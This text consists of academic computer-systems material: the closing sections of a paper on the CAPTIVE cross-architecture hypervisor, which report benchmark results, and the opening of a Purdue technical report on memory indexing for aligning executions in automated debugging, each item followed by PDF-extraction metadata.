Figure 12 shows that HSPT have achieved an average improvement of 1.94× (geometric mean) over the Android Emulator, using the Private SPT technique, whereas on average, CAPTIVE achieves a performance improvement of 2.05× (geometric mean).
In the majority of cases, we equal or surpass the speed-up presented by HSPT, in particular 483.xalancbmk in CAPTIVE shows a much greater speed-up of 2.88×, compared to 1.72× in HSPT. This is due in part to the I/O nature of this particular benchmark, and our optimized I/O and IRQ handling techniques give us a clear advantage here.
4.4. I/O Performance
In this section, we evaluate the performance of our I/O virtualization, using the standard Linux I/O performance measuring tool `hdparm`. We measure the I/O performance on a variety of virtualization configurations, including taking a measurement of the host system. We also introduce Oracle VirtualBox as another virtualization platform that uses Intel VT extensions, and as such only supports same-architecture virtualization. For measurement of same-architecture virtualization I/O performance, VirtualBox and QEMU are given an x86 Linux distribution containing the `hdparm` tool. For cross-architecture virtualization, QEMU and CAPTIVE are provided with a file-system that exists as a normal file on the host machine’s file-system. For QEMU/ARM and CAPTIVE/ARM, the platform device used to communicate this data back and forth is a VirtIO block device, which is fully supported by both hypervisors. VirtIO is a virtualization technology that enables efficient paravirtualization of various platform devices, such as network and disk devices. Our emulated disk is based on a VirtIO block device, and is the only paravirtualized device in the platform.
Table II shows the absolute I/O throughput of the virtualization configurations, along with throughput on the native host platform, using two distinct metrics: *cached* and *buffered*.
Cached reads are subject to the Linux kernel page cache, and as such represent the performance at which disk data can be accessed from the page cache in the guest sys-
Fig. 13: Relative performance improvement gained by turning on Intel’s extended page tables (EPT) for the SPEC CPU2006 integer benchmark suite—higher is better. We show that the use of EPT has virtually no effect on the virtualization performance for the SPEC CPU2006 benchmark suite.
buffered reads indicate the rate at which data can be accessed directly from disk—bypassing the page cache. For these experiments, host caching was disabled in each hypervisor, causing all accesses to the virtual disk device to go directly to the host file-system, and then onto the underlying storage medium. All hypervisors suffer a slow-down over native for this case, as there will be overhead in accessing the virtual disk on the host file-system, but the slow-down over native for CAPTIVE is only 1.11×, compared to QEMU/ARM being 1.64×. Virtualization of the x86 guest machines on VirtualBox, QEMU/KVM and QEMU/DBT all have even worse slow-downs, but this may be due to the implementation of the virtual disk device, which for these three hypervisors is an emulated IDE disk drive, as opposed to the para-virtualized VirtIO device used in QEMU/ARM and CAPTIVE.
### 4.5. Additional Hardware Support for MMU Virtualization
The latest version of Intel VT includes hardware support for accelerating virtualized guest page tables, which is branded as extended page tables (EPT). KVM can make full use of this technology, and this section evaluates the performance improvement of EPT over non-EPT backed virtualization. We use QEMU/KVM and Oracle VirtualBox (which fully supports EPT) to measure the impact of EPT on same-architecture virtualization. We have run six experiments to produce this data, three with EPT disabled and three with EPT enabled.
Table II: Absolute I/O throughput for various configurations of execution environments. Cached reads are subject to the Linux kernel’s page cache, and buffered reads go directly to the real or emulated disk device.
in the respective hypervisor, and three with EPT enabled. We then present the relative speed-up of each hypervisor with EPT enabled, over EPT disabled. For QEMU/KVM and Oracle VirtualBox the experiments were naturally made on a virtualized x86-64 system, with x86-64 versions of the SPEC benchmark suite. For CAPTIVE, we have used the same setup as described in Section 4.1, with EPT enabled and disabled.
The data shows that in our experiments, EPT does not make any significant improvement on the workloads we have tested. This is contrary to some published experiments, e.g. VMware have conducted a performance evaluation of EPT in [VMware 2009], which shows that EPT can improve performance of MMU-intensive benchmarks by 48%, and MMU-microbenchmarks by up to 600%. However, our measurement of the impact of EPT on the SPEC CPU2006 benchmarks shows that the performance increase to be negligible, which is also the conclusion drawn by Buell et al. [2013] and Merrifield and Taheri [2016]. Figure 13 shows the relative performance improvement of the SPEC benchmark suite, running on both a virtualized x86 system (using QEMU/KVM and Oracle VirtualBox) and on a virtualized ARMv7-A system (using our virtualization hypervisor). On average, there is virtually no improvement for QEMU and VirtualBox, and only 3% for CAPTIVE.
4.6. Slow-down over Native Execution on High-End Hardware
We have evaluated the performance of CAPTIVE, compared to execution of the benchmarks on an ARM hardware platform. We have collected run times on an ODROID-XU, and Figure 14 shows the relative slow-down of both CAPTIVE and QEMU. On average, CAPTIVE is 1.4× slower than native execution of SPEC on an ARM platform, whereas QEMU is 3.51× slower. Again, of interest is the 429.mcf benchmark that actually shows a speed-up over native. This is again partly due to the JIT compiler discovering optimizations that can be made dynamically, but also due to larger CPU cache (e.g. L1) sizes on the host platform.
5. RELATED WORK
Instruction set simulation is an active field of research and a large number of techniques for the efficient implementation of either user mode or full system simulators have been published, e.g. [Böhm et al. 2011; Böhm et al. 2010; Witchel and Rosenblum 1996; Binkert et al. 2011; Patel et al. 2011; Sandberg et al. 2015; Yourst 2007; Bellard 2005; Ding et al. 2011; Magnusson et al. 2002; Qin and Malik 2003; AMD Developer Central 2010]. In Table III we provide an overview of well-known simulators, their capabilities and implementation techniques.
Table III: Comparison of simulators: techniques and capabilities.
<table>
<thead>
<tr>
<th>Simulator</th>
<th>Engine</th>
<th>Full-System</th>
<th>Multi-Core</th>
<th>Detailed</th>
<th>Hardware Accelerated</th>
<th>Target ISA</th>
</tr>
</thead>
<tbody>
<tr>
<td>ArcSim</td>
<td>Parallel DBT</td>
<td>Yes</td>
<td>Yes</td>
<td>Config.</td>
<td>No</td>
<td>User Retargetable</td>
</tr>
<tr>
<td>Embra</td>
<td>DBT</td>
<td>Yes</td>
<td>Yes</td>
<td>Cache</td>
<td>No</td>
<td>MIPS R3000/R4000</td>
</tr>
<tr>
<td>gem5</td>
<td>Disc. Event</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>User Retargetable</td>
</tr>
<tr>
<td>MARSS</td>
<td>DBT</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>Intel x86</td>
</tr>
<tr>
<td>OVPSSim</td>
<td>DBT</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>Multiple available</td>
</tr>
<tr>
<td>pFSA</td>
<td>Direct Exec.</td>
<td>Yes</td>
<td>No</td>
<td>Sampling</td>
<td>For same ISA</td>
<td>Intel x86</td>
</tr>
<tr>
<td>PTLsim</td>
<td>Virtualization</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
<td>Intel x86-64</td>
</tr>
<tr>
<td>QEMU</td>
<td>DBT</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>Multiple available</td>
</tr>
<tr>
<td>PQEMU</td>
<td>DBT</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>ARM11MPCore</td>
</tr>
<tr>
<td>Simics</td>
<td>Interpreter</td>
<td>Yes</td>
<td>Yes</td>
<td>Approx.</td>
<td>No</td>
<td>Multiple available</td>
</tr>
<tr>
<td>Simit-ARM</td>
<td>DBT</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>ARM v5</td>
</tr>
<tr>
<td>SimNow</td>
<td>DBT</td>
<td>Yes</td>
<td>Yes</td>
<td>(COTSon)</td>
<td>No</td>
<td>Intel x86, AMD64</td>
</tr>
<tr>
<td>CAPTIVE</td>
<td>DBT</td>
<td>Yes</td>
<td>Yes*</td>
<td>Cache*</td>
<td>Yes</td>
<td>User Retargetable</td>
</tr>
</tbody>
</table>
(*) Multi-core virtualization and optional cache modelling are beyond the scope of this article.
Early work in the context of Simics introduced a software caching mechanism, which improved the performance of interpreted memory operations by reducing the number of calls to complex memory simulation code [Magnusson and Werner 1994]. More recently, Chang et al. [2014], Wang et al. [2015] Hong et al. [2015] have presented novel schemes for speeding up address translation in full-system simulators. These two schemes are the closest matches to our work documented in the literature. In [Chang et al. 2014] a shadow page table – called embedded shadow page table (ESPT) – is embedded into the address space of a cross-ISA dynamic binary translation (DBT) system. Similar to CAPTIVE, ESPT uses the hardware memory management unit in the CPU to translate memory addresses, instead of software translation. However, the original ESPT approach has a few drawbacks. For example, its implementation relies on a loadable kernel module (LKM) to manage the shadow page table. Using LKMs is less desirable for system virtual machines due to portability, security and maintainability concerns. Hence, a different implementation – called HSPT – adopts a shared memory mapping scheme to maintain the shadow page table using only `mmap` system calls [Wang et al. 2015]. In section 4.3 we show a side-by-side performance comparison between this improved HSPT scheme and the approach taken by CAPTIVE. Dynamic resizing of a software TLB is proposed in [Hong et al. 2015]. Using per-page-table utilization information the size of the software TLB is adjusted for each process separately.
6. SUMMARY, CONCLUSION AND FUTURE WORK
We have introduced new techniques for cross-architecture virtualization, using hardware accelerated processor extensions and implemented these ideas in a hypervisor called CAPTIVE. The key contribution is the mapping of guest system MMU behavior to host system MMU behavior, and we improve over the state-of-the-art simulator QEMU on average 2.5×. We show that CAPTIVE is better than existing techniques to improve MMU virtualization. There are three major routes that we wish to take to extend our work:
1. We wish to extend the capability of our system to 64-bit guests, and find efficient ways of exploiting our existing infrastructure to handle the larger address space.
2. We wish to implement a multicore version of the execution engine, to support platforms with multiple (possibly heterogeneous) processor cores.
3. We wish to explore the possibility of mapping guest platform devices to real host devices, e.g. timer devices, eliminating hypervisor emulation overhead.
REFERENCES
Adam Gerber and Clifton Craig. 2015. Learn Android Studio: Build Android Apps Quickly and Effectively (1st ed.). Apress, Berkely, CA, USA.
|
{"Source-Url": "https://www.research.ed.ac.uk/portal/files/28157919/taco_1.pdf", "len_cl100k_base": 16302, "olmocr-version": "0.1.53", "pdf-total-pages": 26, "total-fallback-pages": 0, "total-input-tokens": 83318, "total-output-tokens": 20820, "length": "2e13", "weborganizer": {"__label__adult": 0.0005278587341308594, "__label__art_design": 0.0007543563842773438, "__label__crime_law": 0.00033164024353027344, "__label__education_jobs": 0.001251220703125, "__label__entertainment": 0.00017023086547851562, "__label__fashion_beauty": 0.00026679039001464844, "__label__finance_business": 0.0005464553833007812, "__label__food_dining": 0.0004134178161621094, "__label__games": 0.0015439987182617188, "__label__hardware": 0.017822265625, "__label__health": 0.0005903244018554688, "__label__history": 0.0007538795471191406, "__label__home_hobbies": 0.0001901388168334961, "__label__industrial": 0.0012636184692382812, "__label__literature": 0.0003173351287841797, "__label__politics": 0.00031828880310058594, "__label__religion": 0.0007872581481933594, "__label__science_tech": 0.34375, "__label__social_life": 7.444620132446289e-05, "__label__software": 0.01617431640625, "__label__software_dev": 0.6103515625, "__label__sports_fitness": 0.0003459453582763672, "__label__transportation": 0.001163482666015625, "__label__travel": 0.0003204345703125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 82988, 0.05584]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 82988, 0.29696]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 82988, 0.87743]], "google_gemma-3-12b-it_contains_pii": [[0, 1208, false], [1208, 4889, null], [4889, 8603, null], [8603, 11942, null], [11942, 15064, null], [15064, 17593, null], [17593, 21588, null], [21588, 23964, null], [23964, 28153, null], [28153, 31122, null], [31122, 34955, null], [34955, 37410, null], [37410, 41489, null], [41489, 44275, null], [44275, 48026, null], [48026, 52031, null], [52031, 54987, null], [54987, 56962, null], [56962, 60531, null], [60531, 61781, null], [61781, 64518, null], [64518, 66476, null], [66476, 69037, null], [69037, 73535, null], [73535, 78528, null], [78528, 82988, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1208, true], [1208, 4889, null], [4889, 8603, null], [8603, 11942, null], [11942, 15064, null], [15064, 17593, null], [17593, 21588, null], [21588, 23964, null], [23964, 28153, null], [28153, 31122, null], [31122, 34955, null], [34955, 37410, null], [37410, 41489, null], [41489, 44275, null], [44275, 48026, null], [48026, 52031, null], [52031, 54987, null], [54987, 56962, null], [56962, 60531, null], [60531, 61781, null], [61781, 64518, null], [64518, 66476, null], [66476, 69037, null], [69037, 73535, null], [73535, 78528, null], [78528, 82988, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 82988, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 82988, null]], "pdf_page_numbers": [[0, 1208, 1], [1208, 4889, 2], [4889, 8603, 3], [8603, 11942, 4], [11942, 15064, 5], [15064, 17593, 6], [17593, 21588, 7], [21588, 23964, 8], [23964, 28153, 9], [28153, 31122, 10], [31122, 34955, 11], [34955, 37410, 12], [37410, 41489, 13], [41489, 44275, 14], [44275, 48026, 15], [48026, 52031, 16], [52031, 54987, 17], [54987, 56962, 18], [56962, 60531, 19], [60531, 61781, 20], [61781, 64518, 21], [64518, 66476, 22], [66476, 69037, 23], [69037, 73535, 24], [73535, 78528, 25], [78528, 82988, 26]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 82988, 0.06557]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
4997ebe27b318a5897758740e07fa2c0092413ed
|
[REMOVED]
|
{"Source-Url": "http://kth.diva-portal.org/smash/get/diva2:575871/FULLTEXT01.pdf", "len_cl100k_base": 10667, "olmocr-version": "0.1.50", "pdf-total-pages": 21, "total-fallback-pages": 0, "total-input-tokens": 55814, "total-output-tokens": 13386, "length": "2e13", "weborganizer": {"__label__adult": 0.0003113746643066406, "__label__art_design": 0.00029850006103515625, "__label__crime_law": 0.0002269744873046875, "__label__education_jobs": 0.000408172607421875, "__label__entertainment": 6.80088996887207e-05, "__label__fashion_beauty": 0.00012385845184326172, "__label__finance_business": 0.00016951560974121094, "__label__food_dining": 0.0002980232238769531, "__label__games": 0.0005483627319335938, "__label__hardware": 0.000881195068359375, "__label__health": 0.0003600120544433594, "__label__history": 0.0002357959747314453, "__label__home_hobbies": 6.979703903198242e-05, "__label__industrial": 0.0003407001495361328, "__label__literature": 0.00019168853759765625, "__label__politics": 0.00022614002227783203, "__label__religion": 0.00042819976806640625, "__label__science_tech": 0.0174102783203125, "__label__social_life": 6.753206253051758e-05, "__label__software": 0.00548553466796875, "__label__software_dev": 0.970703125, "__label__sports_fitness": 0.0002913475036621094, "__label__transportation": 0.0004832744598388672, "__label__travel": 0.00021445751190185547}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 55924, 0.03266]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 55924, 0.50076]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 55924, 0.86195]], "google_gemma-3-12b-it_contains_pii": [[0, 2699, false], [2699, 5924, null], [5924, 8672, null], [8672, 11878, null], [11878, 13912, null], [13912, 16542, null], [16542, 18628, null], [18628, 21143, null], [21143, 22712, null], [22712, 25154, null], [25154, 28110, null], [28110, 31354, null], [31354, 34522, null], [34522, 37297, null], [37297, 39358, null], [39358, 41126, null], [41126, 44028, null], [44028, 46555, null], [46555, 49921, null], [49921, 53002, null], [53002, 55924, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2699, true], [2699, 5924, null], [5924, 8672, null], [8672, 11878, null], [11878, 13912, null], [13912, 16542, null], [16542, 18628, null], [18628, 21143, null], [21143, 22712, null], [22712, 25154, null], [25154, 28110, null], [28110, 31354, null], [31354, 34522, null], [34522, 37297, null], [37297, 39358, null], [39358, 41126, null], [41126, 44028, null], [44028, 46555, null], [46555, 49921, null], [49921, 53002, null], [53002, 55924, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 55924, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 55924, null]], "pdf_page_numbers": [[0, 2699, 1], [2699, 5924, 2], [5924, 8672, 3], [8672, 11878, 4], [11878, 13912, 5], [13912, 16542, 6], [16542, 18628, 7], [18628, 21143, 8], [21143, 22712, 9], [22712, 25154, 10], [25154, 28110, 11], [28110, 31354, 12], [31354, 34522, 13], [34522, 37297, 14], [37297, 39358, 15], [39358, 41126, 16], [41126, 44028, 17], [44028, 46555, 18], [46555, 49921, 19], [49921, 53002, 20], [53002, 55924, 21]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 55924, 0.02959]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
20cbd66eece9335a5f98251e41bcc311be3625df
|
2010
Memory Indexing and its Use in Automated Debugging
William Summer
*Purdue University, wsummer@cs.purdue.edu*
Xiangyu Zhang
*Purdue University, xyzhang@cs.purdue.edu*
Report Number:
10-010
Memory Indexing and its Use in Automated Debugging
William N. Sumner Xiangyu Zhang
Department of Computer Science, Purdue University
{wsumner,xyzhang}@cs.purdue.edu
Abstract
Execution comparison examines different executions generated by different program versions, different inputs, or by perturbations. It has a wide range of applications in debugging, regression testing, program comprehension, and security. Meaningful comparison demands that executions are aligned before they are compared, otherwise the resulting differences do not reflect semantic differences. Prior work has focused on aligning executions along the control flow dimension. In this paper, we observe that the memory dimension is also critical and propose a novel solution to align memory locations across different executions. We introduce a canonical representation for memory locations and pointer values called memory indexing. Aligned memory locations across runs share the same index. We formally define the semantics of memory indexing and present a cost-effective design. We also show that memory indexing overcomes an important challenge in automated debugging by enabling robust state replacement across runs.
1 Introduction
Comparing executions is a fundamental challenge in dynamic program analysis with a wide range of applications. For instance, comparing executions of two versions of a program with the same input can be used to isolate regression faults [10], and analyze the impact of code changes [17]. It helps identify implementation differences between the two versions, which can be exploited by attackers. Comparing program state at different points within executions can also be used to normalize and cluster execution traces, simplifying analyses that use those traces as input [6]. Execution comparison also provides unique advantages in program deobfuscation [7] and debugging compiler optimizations, where aggressive transformations make static comparison less effective. Two executions from the same concurrent program can be generated with schedule perturbations to confirm harmful data races [19], and real deadlocks [15]. In computing cause transitions for failures [20, 18], a failing execution and a passing execution are compared to isolate instructions or program states relevant to the failure.
Recently, a technique called structural indexing [19] was proposed to align the dynamic control flow of executions at the granularity of instruction execution such that comparison can be carried out at aligned places. This substantially improves accuracy in race detection [19], deadlock detection [15], and computing cause transitions for failures [18]. However, structural indexing only solves one dimension of the problem – control flow. The other unsolved dimension, orthogonal to control flow, is memory. In the presence of program differences, input differences, or non-determinism, corresponding heap memory regions are allocated in different places across runs. Therefore, although executions are aligned along control flow paths, if memory regions are not properly aligned, comparing values is hardly meaningful.
Existing techniques rely on sub-optimal solutions [20, 17, 18], such as identifying memory using symbolic names. In particular, to compare memory states of two executions, reference graphs [1] are first constructed in which global and local variables are roots, and memory regions, especially heap regions, are connected by reference edges. Roots align by their symbolic names; other memory regions align by their reference paths, which consist of variable and field names. We call it symbolic alignment. However, symbolic alignment is problematic in the presence of aliasing. Detailed discussion can be found in Section 2.
In this paper, we propose a technique called memory indexing (MI). The central idea is to canonicalize memory addresses such that each memory location is associated with a canonical value called its memory index. Memory locations across multiple executions align according to their indices. Pointers are compared
by comparing the indices of their values. Memory indices are maintained along an execution such that they can be directly accessible or computable.
Overall, we make the following contributions.
- We formally present the memory indexing problem. We identify key properties of valid solutions.
- We discuss two semantics for memory indexing. The first one is an online semantics that computes indices on the fly during execution and handles pointer arithmetic. The second is a lazy semantics that computes indices on demand. It has lower cost and is more suitable for languages without pointer arithmetic.
- We introduce a practical design that uses a tree to allow multiple indices to share their common parts. Optimizations remove redundant tree construction and maintenance.
- We illustrate how memory indexing facilitates computing cause transitions for failures. Novel memory comparison and substitution primitives resolve limitations of existing solutions. They allow robust mutation of a passing run to a failing run by copying state across runs.
- We evaluate the proposed MI scheme. It causes a 41% slowdown and 213% space overhead on average. The results of two client studies show that MI is able to canonicalize address traces across runs, and it scales cause transition computation to programs with complex heap structures.
2 Motivation
Execution comparison not only requires alignment on the control flow dimension, but also on the memory dimension. Aligning and comparing memory snapshots across runs is thus a key challenge. Existing techniques do not provide satisfactory solutions to the following challenges.
Support for Pointer Comparison. Many applications require the ability to compare pointers across runs. For example, regression debugging \[10\] and computing cause transitions \[20\] rely on contrasting variable values in a passing run and a failing run to identify faulty values. For pointer related failures, it is critical to identify when a pointer contains a faulty value. However, due to semantic differences or non-determinism, even pointers that point to the same (heap) data structure can have different values across runs, and hence they are not directly comparable. Most existing techniques do not support pointer comparison. Instead, non-pointer field values, such as \(p \rightarrow \text{val}\) and \(p \rightarrow \text{next} \rightarrow \text{val}\) in Figure 1, are compared following their symbolic reference paths. For the case in Figure 1(b), such comparison yields the right result. That is, only \(p \rightarrow \text{val}\) has different values across executions. Whereas in case (a), the conclusion is that \(p \rightarrow \text{val}\) and \(p \rightarrow \text{next} \rightarrow \text{val}\) have different values, implying the definitions to these fields are faulty in a debugging application, which is not true. A more appropriate conclusion is that only the pointer \(p\) has different values, all other differences are manifestations of the pointer difference.
Destructive State Mutation. Applications such as computing cause transitions \[20\] compare memory snapshots from a passing run and a failing run. A variable having different values in the two respective runs is called a difference. In order to reason about the causal relevance of differences with the failure, values of
difference subsets are copied from the failing run to the passing run to see if the failure is eventually triggered in the mutated passing run. However, using symbolic alignment causes a destructive mutation problem in the presence of aliasing. In particular, a memory location may have multiple reference paths. It may be classified as a difference when it is compared under one path but not along another path. Mutation along one path destroys the semantic constraints along other paths and often leads to undesirable effects. Consider the example in Figure 2. Two snapshots are shown in (a) and (b) with p pointing to different locations in each. With symbolic alignment, the root p is aligned first, followed by nodes along paths from p. As a result, the first node in (a) is aligned with the second node in (b), the second node in (a) with the third node in (b), and so on. Comparing the non-pointer fields of the aligned nodes yields the following reference paths denoting differences: \( p \rightarrow \text{val}, p \rightarrow \text{next} \rightarrow \text{val} \) and \( p \rightarrow \text{next} \rightarrow \text{next} \rightarrow \text{val} \). They are fields in (b) having values different than those in (a). Suppose we try to mutate (a) to (b) by copying values from (b) to (a) following the paths of differences. The resulting state is shown in (c). Observe that t’s value is undesirably destroyed.
**Lost Mutation.** If multiple differences alias, they may result in lost mutation when they are applied together. Specifically, the differences applied earlier may be overwritten undesirably by differences applied later. This may lead to incorrect conclusions about the relevance of differences. Consider the example in Figure 3. Assume the failure is that \( (p \rightarrow \text{val}) + (t \rightarrow \text{val}) \) has the wrong value. Pointer t points to the wrong place, and the node pointed to by p has the wrong value. These together cause the failure. Symbolic alignment and non-pointer value comparison identifies two differences denoted by their reference paths: \( p \rightarrow \text{val} \) and \( t \rightarrow \text{val} \). However, as p and t alias in (a), when the differences are applied to (a) in the order of p difference first and then t difference, the rightmost leaf first has the value 2 and then 1. The mutated state does not lead to the expected failure. Hence, we mistakenly conclude that the two differences are irrelevant to the failure.
### 3 Problem Statement and Overview
To overcome the aforementioned problems and provide robust support for memory comparison and mutation, we propose a novel technique called memory indexing. The basic challenge is to associate each memory location with a canonical value such that locations across runs are aligned by their canonical values; pointers can be compared by their canonical values. Such values are also called memory indices because they essentially provide an indexing structure for memory.
The idea is illustrated by Figure 4, which revisits the example in Figure 3. Focus on the parts inside the boxes for now. Each node is associated with a canonical value (index) circled at a corner. Nodes are aligned by their indices. Hence, we can see the root nodes align as they have the same index \( \alpha \). The node with index \( \delta \) on the right does not align with any node on the left. Besides its concrete value, pointer p also has a canonical value \( \pi \) in both runs. Pointer t has \( \pi \) on the left but \( \delta \) on the right. With memory indexing, the differences of the two states can be correctly identified: pointer t has a different pointer value and the
nodes pointed to by $p$ have different field values. When mutation occurs, $t$ is set to the location with index $\delta$, which is not present in the passing run and thus entails allocation. $p$’s field value is changed to 2. Such mutation properly induces the failure.
A valid memory indexing scheme should have the following property: at any execution point, each live memory location must have a unique index. We call this the uniqueness property. If this property is not satisfied, multiple locations may share the same index or one location may have multiple indices, which makes proper alignment across runs impossible. Symbolic alignment does not always satisfy this property and is thus not a good indexing scheme.
A good indexing scheme should have the following additional feature: locations across runs that semantically correspond to each other should share the same index. We call this the alignment feature. Using the concrete address of a memory location is an indexing scheme satisfying the uniqueness property, but it does not deliver good alignment.
**Inadequacy of Graph Matching.** Finding the most appropriate memory alignment concerns program semantics and is thus, in general, not a concretely knowable problem. As pointed out in [20], one possible approximate solution in the general case is to represent the memory snapshots under comparison as reference graphs and formulate the alignment problem as a graph matching problem [2]: the goal of which is to produce a match with the minimal number of graph differences. However, this solution is too expensive (NP complexity) to be practical [20]. More important, we observe that it fails to deliver desirable alignment in many cases because it does not capture semantic differences. Consider the example in Figure 5. The failure in (b) occurs because the value field passed to the node constructor is incremented by one. With a graph matching algorithm, to minimize graph differences, the second node in (a) aligns with the first node in (b), the third node in (a) aligns with the the second node in (b), and so on. As highlighted in the figure, the graph differences, namely the graph operations needed to mutate (a) to (b), are: add (b)’s tail to (a); add the edge to the added node; remove the head in (a). However, such differences imply that the shape of the linked list is faulty, which is not true. The most appropriate alignment matches the corresponding nodes in the lists, resulting in four field value differences that precisely reflect the semantic differences.
**Our Indexing Scheme.** We propose to use the execution point where the allocation of a memory region occurs as the index of the region. We leverage the observation that semantic equivalence between executions often manifests itself as control flow equivalence. Hence, semantically equivalent memory regions are often allocated at corresponding execution points. Figure 4 presents an overview. The two lines in the middle represent the control flows. The memory indices are essentially canonical flow representations of the allocation points. For instance, the root nodes share the memory index $\alpha$, indicating they are allocated at the same point $\alpha$. In contrast, index $\delta$’s presence in only the failing run means that the allocation does not occur in the passing run. Our indexing scheme satisfies the uniqueness property and provides high quality alignment.
in practice.
4 Semantics
In this section, we present two semantics for memory indexing. The first is for low level languages such as C. It supports pointer arithmetic by updating indices on the fly. This is called the online semantics. The other semantics computes indices on demand and does not need interpretation of pointer arithmetic. We call this the lazy semantics.
In our semantics, each memory location is canonically represented by a pair (region, offset), with region as the canonicalized representation of its containing allocated region and offset as its offset inside the region. The canonical representation of a region is generated when the region is allocated and serves as a birthmark of the region during its lifetime. We provide a function MI() that maps a concrete address to its index. We also maintain a function PV() that maps a pointer variable to the index of the value stored in the pointer. In the lazy semantics, PV(p) is lazily computed from MI(p), whereas in the online semantics PV(p) is updated on the fly through pointer manipulations on pointer p. Hence, PV(p) may be different than MI(p) in the online semantics. As we will later show, separating PV from MI allows us to precisely handle pointer arithmetic, which is desirable for certain applications.
<table>
<thead>
<tr>
<th>Rule</th>
<th>Event</th>
<th>Instrumentation</th>
</tr>
</thead>
<tbody>
<tr>
<td>(5)</td>
<td>Prog. starts for each global variable g:</td>
<td>MI(&g) = (nil, global_offset(g))</td>
</tr>
<tr>
<td>(6)</td>
<td>Enter proc. X for each local variable lv of X:</td>
<td>MI(&lv) = (CS, local_offset(lv))</td>
</tr>
<tr>
<td>(7)</td>
<td>pc: p = malloc(s) for i=0 to s-1:</td>
<td>MI(p+i) = ([SI, pc], i) PV(p) = MI(p)</td>
</tr>
<tr>
<td>(8)</td>
<td>p = &v</td>
<td>PV(p) = MI(&v)</td>
</tr>
<tr>
<td>(9)</td>
<td>p = q</td>
<td>PV(p) = PV(q)</td>
</tr>
<tr>
<td>(10)</td>
<td>p = q ± offset</td>
<td>PV(p) = (PV(q).first, PV(q).second ± offset)</td>
</tr>
</tbody>
</table>
Figure 6: Online semantics. A memory index MI(a) represents the memory index of an address a, which is a pair comprising a region identifier and an offset. CS represents the current call stack. pc represents the program counter. SI represents the current structural index. PV(p) represents the memory index of the address value stored in p.
4.1 Online Semantics
In this subsection, we discuss the online semantics.
**Indexing Global Memory.** We consider global memory locations as part of a global region. Hence, the memory index of a global location is its offset in the global region (Rule 5 of Figure 6). In our terminology, &g denotes the concrete address of a variable g. If executions from different program versions are considered, e.g. in comparing regressing executions, symbolic names of variables are used instead of their offsets. It is easy to see the uniqueness property is satisfied.
**Indexing Stack Memory.** We consider stack memory to be allocated upon function entry. The allocated region is the stack frame of the function. Hence, we use a stack frame identifier and the stack frame offset of a location to represent its index. Recursive calls allow multiple instances of the same function to exist in the call stack at an execution point so that we have to use the call path of a stack frame as its id. Such stack indices trivially satisfy the uniqueness property and provide meaningful alignment. This is presented in Rule 6 of Figure 6. Some programs perform dynamic allocation on the stack, which makes stack variables have varying offsets. We identify such variables through static analysis and use our own IDs to replace the offsets.
Figure 7: Example for heap indexing. The code constructs a linked list of three nodes with values of 0, 1 and 3. Initially, the three pointers \( h, p, \) and \( r \) all point to the head of list. There is a regression bug at line 4 in computing the predicate. As a result, the failing run takes the false branch, making \( p \) point to its second node. Pointer \( p \) further advances to the third node at line 10. In contrast, the passing run takes the true branch, eventually resulting in both \( p \) and \( r \) pointing to its third node. The failure is observably wrong output. The memory snapshots are before the failure at statement 11.
4.1.1 Indexing Heap Memory.
